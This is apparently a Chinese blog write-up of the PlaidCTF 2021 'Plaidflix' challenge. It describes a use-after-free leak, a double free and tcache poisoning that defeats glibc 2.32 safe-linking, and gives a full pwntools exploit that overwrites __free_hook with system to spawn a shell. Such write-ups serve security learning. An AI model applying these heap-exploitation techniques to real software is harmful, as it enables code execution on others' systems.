PlaidCTF2021-Plaidflix-WP

Posted on Apr 19, 2021

周末两天都在打这个比赛,毕竟是高质量的国际赛,难度确实是有点大,我也只做出了这道比较传统并且简单的题目。

首先是程序的逆向,不知道对 binary 做了什么处理,反正用 IDA 分析乱的一塌糊涂,但是和动调结合还是可以理解清楚程序的功能的。总体来讲在 manage movie 和 manage friend 中仅有一个 share movie with friend 这个功能存在有限的 UAF,也就是通过先分享电影给朋友,然后删掉朋友,仍然是可以输出朋友的信息的,通过这样的方法可以 leak 出堆地址和 libc 地址。比较坑爹的是,在靶机使用的 libc 下,main_arena + 0x60 的偏移的最低一字节正好是 \x00,无法输出。但是由于可以申请大小为 \x90 的 chunk,所以可以通过把 unsorted bin 压入 small bin 的方法来 leak。

然后在 delete account 中,存在 double free,虽然 2.32 版本有保护。但是通过 add contact detail 可以实现 chunk overflapping,这样就可以在第一次 free 后清空 magic ptr,再一次 free 就可以进行 tcache poisoning 了。由于 2.32 对 Tcache bin 的 next 指针进行异或指针保护,也就是所谓的 safe linking,通过以下的宏实现

#define PROTECT_PTR(pos, ptr, type)  \
       ((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))

不过由于我们之前 leak 了堆地址,所以这个保护我们也是可以绕过的。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]

#sh = process("./plaidflix")
#sh = process("./plaidflix-native")
sh = remote("plaidflix.pwni.ng",1337)
#sh = remote("127.0.0.1",9001)
libc = ELF("./libc-2.32.so")
#libc = ELF("/glibc/2.30/64/lib/libc-2.30.so")

def add_movie(name):
    sh.sendlineafter("> ",'0')
    sh.sendlineafter("> ",'0')
    sh.sendafter("> ",name)
    sh.sendlineafter("> ",'1')

def remove_movie(index):
    sh.sendlineafter("> ",'0')
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",str(index))

def show_movie():
    sh.sendlineafter("> ",'0')
    sh.sendlineafter("> ",'2')

def share_movie(movie_index,friend_index):
    sh.sendlineafter("> ",'0')
    sh.sendlineafter("> ",'3')
    sh.sendlineafter("> ",str(movie_index))
    sh.sendlineafter("> ",str(friend_index))

def add_friend(len_name,name):
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",'0')
    sh.sendlineafter("> ",str(len_name))
    sh.sendafter("> ",name)

def remove_friend(index):
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",str(index))

def show_friend():
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",'2')
####################
def add_feedback(payload):
    sh.sendlineafter("> ",'0')
    sh.sendafter("> ",payload)

def delete_feedback(index):
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("> ",str(index))

def add_contact_details(payload):
    sh.sendlineafter("> ",'2')
    sh.sendafter("> ",payload)


sh.sendlineafter("name?\n> ",'chuj')

add_friend(127,'unsorted\n') # index:0
for i in range(1,8):
    add_friend(127,str(i) + '\n')

add_movie("movie0\n")
share_movie(0,1)
remove_friend(1)
show_movie()
sh.recvuntil("Shared with: ")
heap_addr = u64('\x00' + sh.recv(5).ljust(7,'\x00')) << 4

for i in range(2,8):
    remove_friend(i)

share_movie(0,0)
remove_friend(0)
add_friend(143,'push_to_small\n')

show_movie()

sh.recvuntil("Shared with: ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x1E3C80
#libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols["main_arena"] - 0xE0
log.success("libc_base:" + hex(libc_base))
log.success("heap_addr:" + hex(heap_addr))
system_addr = libc_base + libc.symbols["system"] 
free_hook_addr = libc_base + libc.symbols["__free_hook"]
########## LEAKED ##########

sh.sendlineafter("> ",'2') 
sh.sendlineafter("> ",'y') # enter delete account routine


for i in range(7):
    add_feedback(str(i) + '\n')

add_feedback('7\n')
add_feedback('8\n')
add_feedback('index:9=>protect\n')

for i in range(7):
    delete_feedback(i)

delete_feedback(7)
delete_feedback(8)

add_feedback('/bin/sh\x00\n') # 0
add_feedback('1\n')

delete_feedback(8)
add_contact_details('a' * 0x100 + p64(0) + p64(0x111) + (p64(0) * 2)[:-2] + '\n')
delete_feedback(8)

log.success("__free_hook_addr:" + hex(free_hook_addr))
log.success("heap_addr:" + hex(heap_addr))
heap_addr_this = heap_addr + 0x11A0
add_feedback(p64(free_hook_addr ^ (heap_addr_this >> 12)) + '\n') 
#gdb.attach(proc.pidof(sh)[0])
add_feedback('pass' + '\n')
add_feedback(p64(system_addr) + '\n')
log.success("libc_base:" + hex(libc_base))

delete_feedback(0)
sh.interactive()